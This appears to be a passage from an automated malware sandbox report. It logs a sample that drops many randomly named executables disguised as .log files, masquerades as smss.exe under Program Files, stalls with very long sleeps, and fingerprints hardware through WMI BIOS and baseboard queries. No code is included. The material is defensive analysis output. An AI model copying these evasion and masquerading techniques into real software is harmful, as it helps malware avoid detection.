                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\PiduemoF.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\SkWashNS.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\OyuueWqt.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\qghUmdAy.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\YBnyINgj.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\CTwchNCP.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\aLJzIfLk.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\cgwfqyWr.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\kwnOogWP.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\DsyTISqq.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\UBZIRdMt.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\laxFzmmK.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\DmZKTIGZ.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDropped PE file which has not been started: C:\Users\user\Desktop\RPyQJTEc.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\lBIGMmXi.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDropped PE file which has not been started: C:\Users\user\Desktop\OWjhYWSe.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\eksYBGSa.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\bWhYlawW.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\vOqdYZaJ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\HdldKaGP.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\YxpHNlwD.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\WqzsnMHo.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\xZWxwORc.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\odKZrBvL.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDropped PE file which has not been started: C:\Users\user\Desktop\eWBEmWPB.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\eGIfGcBG.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\mJHGjalv.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\cVOhKnxw.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\IsIaGzVN.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\Ugdrnucn.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\HHTkwVXM.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\jYgyOYgM.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\GqWrkPRR.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\zamDhbWa.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\PUhSdrgW.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDropped PE file which has not been started: C:\Users\user\Desktop\flkfWsYy.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\fRPzNptz.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\beRrPJXc.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\nmeEvdWI.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\kwriUrOP.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\RjMIUKBA.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\SDBjpglR.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\ZuRPjlLy.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\mhXybFYI.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\OnvJYDSq.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\QMxzzIGQ.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDropped PE file which has not been started: C:\Users\user\Desktop\XzsXIPiL.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\cFxiHZBR.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\ubimtJqr.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\TYajduIQ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\LXUCbnlf.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\ETvmfrix.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\vsffFOwm.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\czNHusHi.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\KFtuhByL.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\DWUeKrTC.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\gtPhjWRF.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\npbvqFGo.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\JJGTREbI.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDropped PE file which has not been started: C:\Users\user\Desktop\ghXFmpvC.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\MVHIsMFX.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\BBtuMuwg.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\LSGshBHL.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\WEaYcoKF.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\tGemOfmw.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDropped PE file which has not been started: C:\Users\user\Desktop\HgfAZqyv.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\szwGoBSX.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\RvybggSu.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\dzDircTa.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\krpqVCsE.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDropped PE file which has not been started: C:\Users\user\Desktop\axSgtvJK.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\GzJevKjX.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\JJBKftVy.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\vLfoLyop.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\EKCBdlwZ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\WJzBtwzr.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\msAnVFrt.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\HIpNgqWJ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\OaDBDTBH.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\jbZgXoKi.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\knEvJxvJ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\hlRNoOrO.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\tnAOaONV.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDropped PE file which has not been started: C:\Users\user\Desktop\TAegQgOV.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\zmODVbbC.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\XcyAVMRH.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\gFxXhjWW.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\IBwMQtoS.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDropped PE file which has not been started: C:\Users\user\Desktop\vMgUiAiU.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\vbEWLcJT.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\nTbWaKQZ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\CpxCxIse.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\bTjskyyi.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\rulgoRcW.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDropped PE file which has not been started: C:\Users\user\Desktop\BvmtbuUM.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\hCYfCjlQ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\kEhyqmIn.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\GHObKKRD.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\USgagzGv.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\mVoPJlwh.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\xRmeReqW.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\KxKbDRXG.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDropped PE file which has not been started: C:\Users\user\Desktop\PDpiExgk.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\aFkfZUqc.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\WbCjOPFa.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\YkCIeMle.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\lkvqFFKN.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\DOeOnwYe.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\MeqbWvgd.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\OtVRNOBH.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\vvYNOfbJ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\FCiWZKUc.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\QpirumWl.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\wPmufWmp.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDropped PE file which has not been started: C:\Users\user\Desktop\xxMkqOtN.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\qoQnRMbD.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\SOkiUrKM.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\poepilap.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\VaMRzdNM.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\WREyIwhX.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\JgNirMRL.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\dCYqcZQM.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\FHzuREdv.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\emHqcqPY.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\awNfpiXf.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\NJLRdZBV.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\TPgybpWs.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\ufLyEUTx.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\RmJzPmlg.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\WiQaIdhi.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\CvXLmSbv.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDropped PE file which has not been started: C:\Users\user\Desktop\apiNPMiE.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\nqDhMlLu.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\lEBoVCBE.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\EjbTYgWt.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDropped PE file which has not been started: C:\Users\user\Desktop\BnCbxKtG.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\VZCzbHCt.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\CCpKTrIN.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDropped PE file which has not been started: C:\Users\user\Desktop\kglwdYOs.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\ukcWvOcP.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\IBCLIEHl.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\nxLOVoht.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\xVHnDcnI.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\ieyYBown.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\RfECAmDA.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\gOqIjpIu.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\PFbaDAKS.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\zcIfRxVX.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDropped PE file which has not been started: C:\Users\user\Desktop\ldNEzYdn.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\wYgehcYN.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exe TID: 6380Thread sleep time: -922337203685477s >= -30000sJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exe TID: 3156Thread sleep time: -30000s >= -30000sJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exe TID: 6928Thread sleep time: -922337203685477s >= -30000sJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exe TID: 4428Thread sleep time: -30000s >= -30000sJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exe TID: 4444Thread sleep time: -922337203685477s >= -30000sJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exe TID: 6508Thread sleep time: -30000s >= -30000s
                            Source: C:\Program Files\Uninstall Information\smss.exe TID: 6428Thread sleep time: -922337203685477s >= -30000s
                            Source: C:\Program Files\Uninstall Information\smss.exe TID: 6504Thread sleep time: -30000s >= -30000s
                            Source: C:\Program Files\Uninstall Information\smss.exe TID: 5844Thread sleep time: -922337203685477s >= -30000s
                            Source: C:\Program Files\Uninstall Information\smss.exe TID: 6372Thread sleep time: -30000s >= -30000s
                            Source: C:\Program Files\Uninstall Information\smss.exe TID: 4544Thread sleep time: -922337203685477s >= -30000s
                            Source: C:\Program Files\Uninstall Information\smss.exe TID: 5676Thread sleep time: -30000s >= -30000s
                            Source: C:\Program Files\Uninstall Information\smss.exe TID: 5244Thread sleep time: -922337203685477s >= -30000s
                            Source: C:\Program Files\Uninstall Information\smss.exe TID: 2344Thread sleep time: -30000s >= -30000s
                            Source: C:\Program Files\Uninstall Information\smss.exe TID: 1612Thread sleep time: -922337203685477s >= -30000s
                            Source: C:\Program Files\Uninstall Information\smss.exe TID: 7104Thread sleep time: -30000s >= -30000s
                            Source: C:\Program Files\Uninstall Information\smss.exe TID: 6476Thread sleep time: -922337203685477s >= -30000s
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
                            Source: C:\Windows\System32\PING.EXELast function: Thread delayed
                            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                            Source: C:\Windows\System32\PING.EXELast function: Thread delayed
                            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                            Source: C:\Windows\System32\PING.EXELast function: Thread delayed
                            Source: C:\Windows\System32\PING.EXELast function: Thread delayed
                            Source: C:\Windows\System32\PING.EXELast function: Thread delayed
                            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                            Source: C:\Windows\System32\PING.EXELast function: Thread delayed
                            Source: C:\Windows\System32\PING.EXELast function: Thread delayed
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeFile Volume queried: C:\ FullSizeInformation
                            Source: C:\Program Files\Uninstall Information\smss.exeFile Volume queried: C:\ FullSizeInformation
                            Source: C:\Program Files\Uninstall Information\smss.exeFile Volume queried: C:\ FullSizeInformation
                            Source: C:\Program Files\Uninstall Information\smss.exeFile Volume queried: C:\ FullSizeInformation
                            Source: C:\Program Files\Uninstall Information\smss.exeFile Volume queried: C:\ FullSizeInformation
                            Source: C:\Program Files\Uninstall Information\smss.exeFile Volume queried: C:\ FullSizeInformation
                            Source: C:\Program Files\Uninstall Information\smss.exeFile Volume queried: C:\ FullSizeInformation
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeThread delayed: delay time: 922337203685477Jump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeThread delayed: delay time: 922337203685477Jump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeThread delayed: delay time: 922337203685477Jump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeThread delayed: delay time: 922337203685477
                            Source: C:\Program Files\Uninstall Information\smss.exeThread delayed: delay time: 922337203685477
                            Source: C:\Program Files\Uninstall Information\smss.exeThread delayed: delay time: 922337203685477
                            Source: C:\Program Files\Uninstall Information\smss.exeThread delayed: delay time: 922337203685477
                            Source: C:\Program Files\Uninstall Information\smss.exeThread delayed: delay time: 922337203685477
                            Source: C:\Program Files\Uninstall Information\smss.exeThread delayed: delay time: 922337203685477
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile opened: C:\Users\userJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile opened: C:\Users\user\Documents\desktop.iniJump to behavior
